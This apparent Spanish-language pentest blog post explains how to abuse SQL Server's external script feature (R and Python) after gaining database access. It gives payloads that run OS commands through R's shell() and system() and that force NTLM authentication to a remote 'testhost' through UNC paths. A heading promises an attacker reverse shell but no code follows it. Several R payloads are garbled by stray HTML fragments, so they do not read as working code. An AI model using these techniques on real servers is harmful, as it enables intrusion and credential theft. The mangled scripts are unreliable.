Ejecución de scripts R y Python en MSSQL

El componente de Machine Learning Services de SQL Server agrega análisis predictivos en la base de datos (in-database), análisis estadísticos, visualización y algoritmos de aprendizaje automático. Las librerías están disponibles en R y Python para SQL Server 2017 y en R para SQL Server 2016 y se ejecutan como script externo en una instancia de motor de base de datos.


Eso sí, para poder ejecutar scripts externos esta característica ha de haber sido activada previamente por el administrador:
EXEC sp_configure  'external scripts enabled', 1
RECONFIGURE WITH OVERRIDE

Luego, lo normal es que se den permisos de ejecución de scripts R o Python a usuarios sin permisos elevados. En ese caso se debe otorgar a los usuarios de Machine Learning Services el permiso para ejecutar scripts externos:
USE [database_name]
GO
GRANT EXECUTE ANY EXTERNAL SCRIPT  TO [UserName]


Eso añade más posibilidades a la hora de ejecutar scripts, a parte del clásico xp_cmdshell (EXEC xp_cmdshell 'C:/.../python.exe C:\...\script.py'; GO), algo que podría ser útil para una post-explotación y/o movimiento lateral. Así que si hemos conseguido acceso a una base de datos lo primero que debemos hacer es comprobar si se permite o no la ejecución de scripts externos:
EXEC sp_configure  'external scripts enabled'

En caso afirmativo run_value debería ser "1". Y para estar totalmente seguro, podemos ejecutar las siguientes queries:

Para R
EXEC sp_execute_external_script  @language =N'R',
@script=N'
OutputDataSet <- br="" inputdataset="">',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

Para Python
EXEC sp_execute_external_script  @language =N'Python',
@script=N'
OutputDataSet = InputDataSet;
',
@input_data_1 =N'SELECT 1 AS hello'
WITH RESULT SETS (([hello] int not null));
GO

El script puede tardar un poco en ejecutarse si es la primera vez que se carga el runtime del script externo. El resultado debería ser algo como esto:
Hello
1

A partir de ahí comienza la diversión..
 
Ejemplos de scripts externos en R

Obtener las variables de entorno de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" c="" data.frame="" nvvals="Sys.getenv()))">  WITH RESULT SETS (([EnvVals] TEXT));
GO

Forzar la autenticación remota mediante inclusión de librerías:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'
  WITH RESULT SETS (([FileLines] TEXT));
GO

Ejecución local de comandos a través de la función shell() de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" data.frame="" dir="" intern="T))" shell="">  WITH RESULT SETS (([cmd_out] text));
GO

Ejecución local de comandos a través de la función system() de R:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- br="" c="" cmd.exe="" data.frame="" dir="" intern="T))" system="">  WITH RESULT SETS (([cmd_out] text));
GO

Forzar la autenticación remota mediante ejecución vía UNC:
EXEC sp_execute_external_script
  @language=N'R',
  @script=N'OutputDataSet <- bin.exe="" br="" c="" cmd.exe="" data.frame="" intern="T))" no="" system="" testhost="">  WITH RESULT SETS (([cmd_out] text));
GO

Ejemplos de scripts externos en Python

Script que genera una lista de números aleatorios a partir de un número inicial, uno final y la longitud:
DECLARE @Start_Value INT = 0

EXEC sp_execute_external_script
@language = N'Python',
@script = N'
import numpy as np
import pandas as pd
Start = 10                                            ##Change the value to 10 from the initialized value of 0
random_array = np.array(np.random.randint(Start,End+1,Size))
pandas_dataframe = pd.DataFrame({"Random Numbers": random_array})
',
@output_data_1_name = N'pandas_dataframe',
@params = N'@Start INT, @End INT, @Size INT',
@Start = @Start_Value, @End = 100, @Size = 20 
WITH RESULT SETS (("Random Numbers" INT not null))

Script que realiza diversas operaciones en una lista:
EXEC sp_execute_external_script 
@language = N'Python',
@script = N'
mylist = [124, 9238, 23, 1244, 2, 98, 13, 103, 774, 845]
list_mean = sum(mylist) / float(len(mylist))
list_min = min(mylist)
list_max = max(mylist)
print(" The mean value is: {0} \n The minimum value is: {1} \n The maximum value is: {2}".format(list_mean,list_min,list_max))
OutputDataSet = pandas.DataFrame({"Mean": [list_mean], "Min": [list_min], "Max": [list_max]}, columns = ["Mean","Min","Max"])
'
WITH RESULT SETS (("Mean" float not null, "Min" float not null, "Max" float not null))
/*^^Without this statement, the dataframe columns wouldn't have names.*/

Script que ejecuta una shell reversa contra la máquina del atacante:


Referencias:

- Install SQL Server 2017 Machine Learning Services (In-Database) on Windows
- Install SQL Server 2016 R Services (In-Database)
- Pastebin - MS-SQL with R
- SQL Server Python tutorials
- Run Python using T-SQL
- How to use Python in SQL Server 2017 to obtain advanced data analytics
- Using Python inside SQL Server
- PySQL_Examples Github

Comentarios